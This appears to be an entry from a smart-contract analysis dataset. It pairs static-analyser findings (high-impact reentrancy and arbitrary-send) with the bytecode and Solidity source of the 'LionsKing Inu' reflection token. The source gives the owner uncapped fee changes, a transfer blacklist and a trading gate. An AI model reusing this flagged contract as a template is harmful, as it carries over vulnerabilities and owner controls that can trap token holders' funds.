7600080fd5b60006129d68682870161287d565b93505060206129e78682870161287d565b92505060406129f8868287016128fb565b9150509250925092565b60008060408385031215612a1557600080fd5b6000612a238582860161287d565b9250506020612a34858286016128fb565b9150509250929050565b600060208284031215612a5057600080fd5b600082013567ffffffffffffffff811115612a6a57600080fd5b612a76848285016128a7565b91505092915050565b600060208284031215612a9157600080fd5b6000612a9f848285016128d1565b91505092915050565b600060208284031215612aba57600080fd5b6000612ac8848285016128e6565b91505092915050565b600060208284031215612ae357600080fd5b6000612af1848285016128fb565b91505092915050565b600080600060608486031215612b0f57600080fd5b6000612b1d86828701612910565b9350506020612b2e86828701612910565b9250506040612b3f86828701612910565b9150509250925092565b6000612b558383612b61565b60208301905092915050565b612b6a816132cc565b82525050565b612b79816132cc565b82525050565b6000612b8a82613172565b612b948185613195565b9350612b9f83613162565b8060005b83811015612bd0578151612bb78882612b49565b9750612bc283613188565b925050600181019050612ba3565b5085935050505092915050565b612be6816132de565b82525050565b612bf581613321565b82525050565b6000612c068261317d565b612c1081856131a6565b9350612c20818560208601613333565b612c298161346d565b840191505092915050565b6000612c416023836131a6565b9150612c4c8261347e565b604082019050919050565b6000612c64602a836131a6565b9150612c6f826134cd565b604082019050919050565b6000612c876022836131a6565b9150612c928261351c565b604082019050919050565b6000612caa601b836131a6565b9150612cb58261356b565b602082019050919050565b6000612ccd601d836131a6565b9150612cd882613594565b602082019050919050565b6000612cf06021836131a6565b9150612cfb826135bd565b604082019050919050565b6000612d136020836131a6565b9150612d1e8261360c565b602082019050919050565b6000612d366029836131a6565b9150612d4182613635565b604082019050919050565b6000612d596025836131a6565b9150612d6482613684565b604082019050919050565b6000612d7c6024836131a6565b9150612d87826136d3565b604082019050919050565b6000612d9f6017836131a6565b9150612daa82613722565b602082019050919050565b6000612dc26011836131a6565b9150612dcd8261374b565b602082019050919050565b612de18161330a565b82525050565b612df081613314565b82525050565b6000602082019050612e0b6000830184612b70565b92915050565b6000604082019050612e266000830185612b70565b612e336020830184612b70565b9392505050565b6000604082019050612e4f6000830185612b70565b612e5c6020830184612dd8565b9392505050565b600060c082019050612e786000830189612b70565b612e856020830188612dd8565b612e926040830187612bec565b612e9f6060830186612bec565b612eac6080830185612b70565b612eb960a0830184612dd8565b979650505050505050565b6000602082019050612ed96000830184612bdd565b92915050565b60006020820190508181036000830152612ef98184612bfb565b905092915050565b60006020820190508181036000830152612f1a81612c34565b9050919050565b60006020820190508181036000830152612f3a81612c57565b9050919050565b60006020820190508181036000830152612f5a81612c7a565b9050919050565b60006020820190508181036000830152612f7a81612c9d565b9050919050565b60006020820190508181036000830152612f9a81612cc0565b9050919050565b60006020820190508181036000830152612fba81612ce3565b9050919050565b60006020820190508181036000830152612fda81612d06565b9050919050565b60006020820190508181036000830152612ffa81612d29565b9050919050565b6000602082019050818103600083015261301a81612d4c565b9050919050565b6000602082019050818103600083015261303a81612d6f565b9050919050565b6000602082019050818103600083015261305a81612d92565b9050919050565b6000602082019050818103600083015261307a81612db5565b9050919050565b60006020820190506130966000830184612dd8565b92915050565b600060a0820190506130b16000830188612dd8565b6130be6020830187612bec565b81810360408301526130d08186612b7f565b90506130df6060830185612b70565b6130ec6080830184612dd8565b9695505050505050565b600060208201905061310b6000830184612de7565b92915050565b600061311b61312c565b90506131278282613366565b919050565b6000604051905090565b600067ffffffffffffffff8211156131515761315061343e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c28261330a565b91506131cd8361330a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613202576132016133e0565b5b828201905092915050565b60006132188261330a565b91506132238361330a565b9250826132335761323261340f565b5b828204905092915050565b60006132498261330a565b91506132548361330a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328d5761328c6133e0565b5b828202905092915050565b60006132a38261330a565b91506132ae8361330a565b9250828210156132c1576132c06133e0565b5b828203905092915050565b60006132d7826132ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332c8261330a565b9050919050565b60005b83811015613351578082015181840152602081019050613336565b83811115613360576000848401525b50505050565b61336f8261346d565b810181811067ffffffffffffffff8211171561338e5761338d61343e565b5b80604052505050565b60006133a28261330a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d5576133d46133e0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377d816132cc565b811461378857600080fd5b50565b613794816132de565b811461379f57600080fd5b50565b6137ab8161330a565b81146137b657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f1d452efa0536a62cac75d619c1e0b84073db5b0a39c7c6f1939f10f55cd40a364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,731 |
0x7c4c1429127d1e7aa4466a7d12b21c482bcf89f2
|
/**
*Submitted for verification at Etherscan.io on 2022-03-06
*/
/*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LIONSKING is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "LionsKing Inu";
string private constant _symbol = "LIONSKING";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 8;
uint256 private _taxFeeOnSell = 12;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0xc0F054C72426Fc14dA4715DD57b3824DAEDef6c3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9; //2
uint256 public _maxWalletSize = 40000000000 * 10**9; //4
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b84565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c9190612fcd565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612b48565b61086d565b6040516102599190612f97565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190612fb2565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af91906131af565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612abd565b6108c2565b6040516102ec9190612f97565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b0c565b61099b565b005b34801561032a57600080fd5b50610333610b1e565b60405161034091906131af565b60405180910390f35b34801561035557600080fd5b5061035e610b24565b60405161036b9190613224565b60405180910390f35b34801561038057600080fd5b50610389610b2d565b6040516103969190612f7c565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a2f565b610b53565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612bc5565b610c43565b005b3480156103fd57600080fd5b50610406610cf5565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612a2f565b610d67565b60405161043c91906131af565b60405180910390f35b34801561045157600080fd5b5061045a610db8565b005b34801561046857600080fd5b50610483600480360381019061047e9190612bee565b610f0b565b005b34801561049157600080fd5b5061049a610faa565b6040516104a791906131af565b60405180910390f35b3480156104bc57600080fd5b506104c5610fb0565b6040516104d29190612f7c565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612bc5565b610fd9565b005b34801561051057600080fd5b5061051961108b565b60405161052691906131af565b60405180910390f35b34801561053b57600080fd5b50610544611091565b6040516105519190612fcd565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612bee565b6110ce565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612c17565b61116d565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612b48565b611224565b6040516105e09190612f97565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612a2f565b611242565b60405161061d9190612f97565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612a2f565b611262565b60405161065a9190612f97565b60405180910390f35b34801561066f57600080fd5b50610678611282565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612a81565b6112fc565b6040516106ae91906131af565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612bee565b611383565b005b6106e8611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c9061310f565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610824906134e9565b915050610778565b5050565b60606040518060400160405280600d81526020017f4c696f6e734b696e6720496e7500000000000000000000000000000000000000815250905090565b600061088161087a611422565b848461142a565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cf8484846115f5565b610990846108db611422565b61098b856040518060600160405280602881526020016139d060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610941611422565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de59092919063ffffffff16565b61142a565b600190509392505050565b6109a3611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a279061310f565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba906130cf565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5b611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf9061310f565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4b611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccf9061310f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d36611422565b73ffffffffffffffffffffffffffffffffffffffff1614610d5657600080fd5b6000479050610d6481611e49565b50565b6000610db1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb5565b9050919050565b610dc0611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e449061310f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f13611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f979061310f565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe1611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110659061310f565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600981526020017f4c494f4e534b494e470000000000000000000000000000000000000000000000815250905090565b6110d6611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a9061310f565b60405180910390fd5b8060188190555050565b611175611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f99061310f565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611238611231611422565b84846115f5565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c3611422565b73ffffffffffffffffffffffffffffffffffffffff16146112e357600080fd5b60006112ee30610d67565b90506112f981611f23565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61138b611422565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f9061310f565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114919061318f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115019061306f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e891906131af565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165c9061314f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612fef565b60405180910390fd5b60008111611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f9061312f565b60405180910390fd5b611720610fb0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178e575061175e610fb0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae457601560149054906101000a900460ff1661183457601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a9061300f565b60405180910390fd